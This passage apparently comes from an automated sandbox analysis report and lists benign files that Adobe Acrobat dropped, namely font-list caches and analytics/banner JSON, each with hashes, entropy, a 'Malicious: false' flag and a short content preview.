SHA1:	4EE941B872CF636914EE4C251638B4E16E2F224C
SHA-256:	BDA2C2BE067E12E71932B7842270B0E7601D7B2E6D88C2D9E64EAD04FD75CAEB
SHA-512:	FDA3C403E9F956F46A64747A28945208AFB7334C538DC6E58D556A94211745E09507560AC85FCF904FA5EE7C15A7490B7BFFE0D604E19861D191C4E9EE33102B
Malicious:	false
Preview:	p...... .........62T.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36992107416977
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJM3g98kUwPeUkwRe9:YvXKXRO6Zc0vJQr6sGMbLUkee9
MD5:	D890FD4ED952A78D0E2FE32DCC74E418
SHA1:	463D014768C3F2CCEFAAD85E820E506945080893
SHA-256:	EBD262511CA730A7DB2A52EBEF202215EAA0286BDF290222A2896A9772EEB6E9
SHA-512:	53F9C54E4233E44EBFA357B9527ADE53846D197C27BAB391D80026EC635FB22A86739FD04AC82CA43D0E53F89D0D85C2C75E62E57F85D841E2E96DE5746D48BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320289704589163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfBoTfXpnrPeUkwRe9:YvXKXRO6Zc0vJQr6sGWTfXcUkee9
MD5:	D3A736492EB32944376968756781CD8F
SHA1:	6DF47AE4FC93A2A3CF108AE0F7577D95AF5092FD
SHA-256:	923F95A9AE1E3505B4929DD0618CD475DBA046003167A2590E0F7FA362B1C344
SHA-512:	67A001F1205D7BA8A1BADC62E1EE4C15EDFA9AF9899491E27BDEE147E16060767C6309F29010EAB06EF2A59A342F08676053CD2E7E148FEF8627D07A211CD8E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298838021115167
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfBD2G6UpnrPeUkwRe9:YvXKXRO6Zc0vJQr6sGR22cUkee9
MD5:	C007DA6A1DEDC376008EC4FF362171A0
SHA1:	B7C55E319BE239BE236F0F8F6CF2715773600EFB
SHA-256:	7A99CC489839A5424DE3D83B1B4E001FFF263A6D8560AA14F34B02DC9D5B3207
SHA-512:	F0447EC84362CBB2EA36A0DB8D0EE9738DF73C25B2363D742212B7FF6651996461E0BD499D1492788D749DFEE6D2C9B710C19D4D8D4B857FD8244E2AD4208A68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357161674675545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfPmwrPeUkwRe9:YvXKXRO6Zc0vJQr6sGH56Ukee9
MD5:	148F840582CA79324D75F9B44DAD67CB
SHA1:	8769F4EB394FEEC7066DD2261F5108906EB17C0C
SHA-256:	9C7A87B3AF97EC70347E133FFE5D5D0E23762754CA015C8AA98DDD8F10CF3BEB
SHA-512:	142178534309B0FDCC3FA24A43E380028539D383078A8F0153B1CF043EDB9591D59C359C933738BCEAFE58FEAB62693688465BEBCD27684AEE78B0414C5D6E64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693793934215292
Encrypted:	false
SSDEEP:	24:Yv6XJzvJuipLgE9cQx8LennAvzBvkn0RCmK8czOCCS9:YviRJhgy6SAFv5Ah8cv/9
MD5:	1A6791A73BE2CB0CB16444801DD17030
SHA1:	557731992B5017DFA5ED799E64859C9E4F88C011
SHA-256:	911381D08854787C1D66C7C3D281BB6EFDB3E01452B6D497B916F3C7C0F5DE78
SHA-512:	273D6189FD951C97369E4FE66F3F7976CE2ADF6F1C689E3ECC04A418F8E84F1A65D786D4807B72C807F4BCB2DD75FF1B36D2600A47DE112713910F31877FD4E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307107901918996
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJf8dPeUkwRe9:YvXKXRO6Zc0vJQr6sGU8Ukee9
MD5:	D663ECA1C56DF009612A09C5E2461FE6
SHA1:	B7891916B2A8C95A450EE31790C135127F2FA563
SHA-256:	CA845B95447EC9CFA0FEA7E91C539BFE8D36D17A62D8C3C5DC7505A6031D4F4B
SHA-512:	F0A83F82DC7C29543DF93C02194B818D98336F59735B45D26418FF999C441C87CD2724931CAC0F265B98F5271C6414A375DBF1E41FC60EE55B42C118A93E2CCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310296886921101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfQ1rPeUkwRe9:YvXKXRO6Zc0vJQr6sGY16Ukee9
MD5:	E7DB30346BF23C8F55717AF0C132F5EB
SHA1:	28B047468BE16516C6096F13DA5D8FD87A925B38
SHA-256:	C486E29D177C301B26F03860757BC328DF52212C71510D9CFF41A2A5B64167CB
SHA-512:	769790AB06542C133D2E1DE93F21DABAE9EE925593D55AC57AFE4E648DA9326ADA54C9E91A85BD3E5AB7FF99231013B6468EC4BE049926B5873FB1087DD8CC6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318677498198046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfFldPeUkwRe9:YvXKXRO6Zc0vJQr6sGz8Ukee9
MD5:	93F8799582314E24A76C38A818DF42BC
SHA1:	9CD9C59C0CA03D25C5AFD266B744966D67511B50
SHA-256:	64A2943A5CB9DC56CFCA561CBAFAE8F81C84E3A0348DAF7925E09A6D289C6E05
SHA-512:	2B81CCF920F1B397DF1F16A47E8D899DE53B7CDCE1F68399BAAA23FC6FC8022284FF36E229897C29B1A8C0DD3A699703E7B310E6615057D63CBB5DABC236D4EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33307617338945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfzdPeUkwRe9:YvXKXRO6Zc0vJQr6sGb8Ukee9
MD5:	AF159860D5F76AC5CE813CBBBB6AAF0E
SHA1:	78651ECF02502A32E094F827C52E4C7EA7AD1D65
SHA-256:	9092A31F2FE096BBDB10D1F5196A7F36B70A02582977C8158409067CFCBF9A97
SHA-512:	790C97A339027EEFC5263A7935E867CF7ECA857CE561CDEB20144F5637A6817A6B781C911A59782115B73BE819DF3FF20C17F6DEBD68887134779754721DCC32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313398582792866
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfYdPeUkwRe9:YvXKXRO6Zc0vJQr6sGg8Ukee9
MD5:	4BF1D4A101AD143E6EAB11A8F4BFCDBA
SHA1:	999E6061C77FA08427AA8B72418CAD08E0EE73E6
SHA-256:	A684F2020EC3AA92FC217B07BACBC7EB7A9A64D61C9C68835C4B024760886100
SHA-512:	FAD94C99F8529128FEF15CD749DC72F71E088A953FAA1FEE76646258B89DCE5046C336E4C62CC541E6D6C8784AF589CC95EF2EA340C8AE4A85D3DE1416722B67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299983837085508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJf+dPeUkwRe9:YvXKXRO6Zc0vJQr6sG28Ukee9
MD5:	9D1AA09F7876AB4EF854474DC19AD488
SHA1:	2836B12D13FA95C3DAFD80C8AA0072A4DCCFE73D
SHA-256:	531E12BB5294E7DA324199F84A18CBAA4F3971A217071E0A93817533A2DD558B
SHA-512:	A21DD767CA0C7DD64F1431F5A135165406BD56583D87F1EC6AFDA32D32088943FE8C3216D662C2649BB14E6E03B7C7943C06650DEBA47F01ED41B530A029FF0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.296853593987052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJfbPtdPeUkwRe9:YvXKXRO6Zc0vJQr6sGDV8Ukee9
MD5:	62030F1D52DD6F3B0FFFC396FC2C18E2
SHA1:	A6E98E7B1050133496DBC24D45A0A9390804C748
SHA-256:	FAD84EBF99C77660A86D3744E8B527AB5FBA44F408FCCCD2C47B2F031C913E8F
SHA-512:	0C2B122DF7D3EA9788970BD2DAD21559DF4C9A8FFCCF27DAB8F234307BE266DF2DE592504687B12A0900D0E3BE45589E16F9B6703487C4FA6C6370246CE7BE10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3010407529275225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXROaqHVoZcg1vRcR0YmQr6EeoAvJf21rPeUkwRe9:YvXKXRO6Zc0vJQr6sG+16Ukee9
MD5:	9DA527351B4BF4A5453CE7760FDEC0D7
SHA1:	50DB95186BE15D76A48E4C19592B78D4359CBC7C
SHA-256:	F09C80CB5E1ABEDF9F1596B37C111FEC57D0AB99B357F7C715BEAA3924D73F6A
SHA-512:	67FB65D3C2BAACDD38123DCCF442706BE773CC76C2BF1591788437F55E7FEA01270B2B29D5A405441E7313C1D96EAFEF5B025FC7598E5EB00120E0C8A7D7853F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b62899f3-6437-4116-88c7-1961c81e591e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736704524864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671585666044705
Encrypted:	false
SSDEEP:	24:Yv6XJzvJu+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS9:YviRFBgkDMUJUAh8cvM9
MD5:	42D13C27080653459C2B5E39693E3FD0
SHA1:	1818E0CA8278133EEBF3BF883AD275C0BC015F09
SHA-256:	C1C3B72DC0D38C5DF166012C76B6072EBA35B2D7A48FD2C234889C9BA894E3F1
SHA-512:	91CDF0E107847A56E48032B6CB5D8FEF77F49CB21C393DA5FAFF77359F23825C2E38961E9BD0DD4CB241206D5BEAB6DA5E08E34D109CDDD13354D63F46621E6D
Malicious:	false
